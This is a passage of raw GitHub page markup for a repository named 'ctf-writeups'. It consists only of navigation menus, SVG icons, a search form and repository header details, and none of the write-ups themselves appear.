1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="cY89XmId/QBj6un8w1+OoFHhLSEkggs0bYi0hOGPUtQfCzhgLdPWh8L+JGYnYLiyrGDVgU2CiekRZT/XeX3jag==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 